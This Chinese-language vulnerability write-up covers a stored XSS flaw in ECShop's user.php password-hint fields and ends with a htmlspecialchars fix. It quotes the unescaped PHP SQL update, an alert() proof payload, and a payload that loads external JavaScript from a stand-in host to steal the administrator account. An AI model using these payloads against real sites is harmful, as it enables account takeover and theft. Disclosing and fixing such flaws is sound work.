简要描述
个人资料修改时,Javascript代码过滤不够严格,XSS代码直接进入数据库
详细说明
存在漏洞的字段passwd_answer
漏洞文件(user.php)1
2
3
4
5
6
7
8/* 写入密码提示问题和答案 */
$sel_question = empty($_POST['sel_question']) ? '' : $_POST['sel_question'];
$passwd_answer = isset($_POST['passwd_answer']) ? trim($_POST['passwd_answer']) : '';
if (!empty($passwd_answer) && !empty($sel_question))
{
$sql = 'UPDATE ' . $ecs->table('users') . " SET `passwd_question`='$sel_question', `passwd_answer`='$passwd_answer' WHERE `user_id`='" . $_SESSION['user_id'] . "'";
$db->query($sql);
}
漏洞证明
在提示答案处输入"><script>alert(/xss/)</script>
,点击保存后实现弹窗。
我们可以通过填入一段引入外部js的代码来实现获取管理员账号:1
"><script src="http://www.xxx.com/test.js" type="text/javascript"></script>
我下载的ecshop2.7.2版本好像有点变化,字段名变了,但是复现效果跟原文一样。
修复方案
对用户post过来的sel_question和passwd_answer字段,输入输出前通过htmlspecialchars过滤或者过滤掉特殊字符
example:1
htmlspecialchars($_POST['passwd_answer'])